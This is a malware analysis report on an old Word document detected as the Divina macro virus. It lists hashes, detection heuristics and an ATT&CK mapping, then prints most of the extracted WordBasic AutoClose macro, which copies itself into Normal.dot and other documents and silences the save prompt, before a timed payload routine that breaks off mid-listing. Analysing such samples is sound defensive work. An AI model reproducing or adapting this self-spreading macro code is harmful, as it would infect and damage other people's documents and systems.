Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f5ff908fd60e935…

MALICIOUS

Office (OLE)

42.0 KB Created: 2000-01-13 17:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1cb24f18ad972207e18f6719390f3e62 SHA-1: e6b0b476f8250fc2dc58d0464825cebf5970d9d1 SHA-256: 4f5ff908fd60e9356a915d053985c2da95031268df2026b0c95609477659774c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Microsoft Word document containing a WordBasic AutoClose macro. This macro is designed to infect the Normal.dot template, which could lead to the macro executing in any new document created from that template. The macro's intent is to spread itself, indicating a self-propagating malicious document.

Heuristics 4

  • ClamAV: Doc.Trojan.Divina-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Divina-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4863 bytes
SHA-256: 0f21638166d522a482c64dfaf968720088f3b444ed5bf758e1d3d45a00218ca1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"


Public Sub MAIN()

    Infezione

    Effetti

End Sub



Private Sub Infezione()
Dim fileattuale$
Dim dataeoraatt$
Dim dataeorasalv$
Dim dlg As Object
Dim macrodot$
Dim normaldot$
Dim trovata$
Dim NumeroMacro
Dim i
Dim macro$
Dim libcopia1$

'** Salva come modello
'** Non rileva di essere in rete


'* memorizza in fileattuale il nome del doc aperto
'* continua se il doc è nuovo e non ha ancora un nome
    fileattuale$ = ""
    On Error Resume Next
    fileattuale$ = WordBasic.[FileName$]()

'* calcola data e ora e minuto dell ultimo salvataggio
    dataeoraatt$ = WordBasic.[Date$]() + " " + WordBasic.[Time$]()
    dataeorasalv$ = ""
    If fileattuale$ <> "" Then
        WordBasic.FileSummaryInfo FileName:=fileattuale$
            Set dlg = WordBasic.DialogRecord.FileSummaryInfo(False)
            WordBasic.CurValues.FileSummaryInfo dlg
        dataeorasalv$ = dlg.LastSavedDate
    End If

'* se il minuto dell ultimo salvataggio è quello attuale
'* allora termina per non entrare in loop
'* termina anche se il documento è nuovo e non ancora salvato
'* o se è un file senza datasalvataggio, tipo un txt (che non sovrascrive)
    If dataeorasalv$ = dataeoraatt$ Or dataeorasalv$ = "" Then GoTo fine

'* trova dove è la macro
    macrodot$ = WordBasic.[MacroFileName$]("AutoClose")

'* trova path e disabilita la richiesta di salvataggio di normal
    normaldot$ = UCase(WordBasic.[DefaultDir$](2) + "\NORMAL.DOT")
    WordBasic.ToolsOptionsSave GlobalDotPrompt:=0

'* controlla se ci è già una autoclose in normal
    trovata$ = "false"
    NumeroMacro = WordBasic.CountMacros()
    For i = 1 To NumeroMacro
        macro$ = WordBasic.[MacroName$](i, 0)
        If macro$ = "AutoClose" Then trovata$ = "true"
    Next i

'* copia la macro in fileattuale, salvandolo come modello, o in normal
'* va effettuata una qola copia o si ha errore (vedi: libcopia$="true")
    libcopia1$ = "false"
    If fileattuale$ <> "" And fileattuale$ <> normaldot$ And fileattuale$ <> macrodot$ Then
        WordBasic.FileSaveAs Format:=1
        WordBasic.Organizer Copy:=1, Source:=macrodot$, Destination:=fileattuale$, Name:="AutoClose", Tab:=3
        libcopia1$ = "true"
    End If
    If fileattuale$ <> "" And fileattuale$ <> normaldot$ And fileattuale$ = macrodot$ And libcopia1$ = "false" And trovata$ = "false" Then WordBasic.Organizer Copy:=1, Source:=fileattuale$, Destination:=normaldot$, Name:="AutoClose", Tab:=3

'*
' non implementato perchè sovrascrive una altra AutoClose in filedot
' ogni tanto copia la macro in un altro modello
'   min = Minute(Now())
'   filedot$ = ""
'   If min = 30 Or min = 45 Then filedot$ = Files$(DefaultDir$(2) + "\*.DOT")
'   If filedot$ <> "" And filedot$ <> normaldot$ And filedot$ <> macrodot$ Then 'Libreria .Copia, .Origine = macrodot$, .Destinazione = filedot$, .Nome = '"AutoClose", .Scheda = 3

' Opzione non implementata perchè distrugge il formato originale di filealtro$
' Bisognava comunque ancora evitare la richiesta di conversione formato
'   filealtro$ = ""
'   If Time$() = "10.10" Then filealtro$ = Files$("*.doc")
'   If filealtro$ <> "" And filealtro$ <> fileattuale$ And filealtro$ <> 'normaldot$ And filealtro$ <> filedot$ Then
'       FileApri .Nome = filealtro$
'       FileSalvaConNome .Nome = filealtro$, .Formato = 1
'       Libreria .Copia, .Origine = normaldot$, .Destinazione = filealtro$, '.Nome = "AutoClose", .Scheda = 3
'       FileChiudi 1
'   End If
'*

fine:

End Sub



Private Sub Effetti()
Dim min_
Dim x
Dim timer_
    
    min_ = WordBasic.Minute(WordBasic.Now())

    If min_ = 17 Then

    For x = 1 To 3
        For timer_ = 1 To (1000 * x)
        Next timer_
    Next x
    WordBasic.Toggl
... (truncated)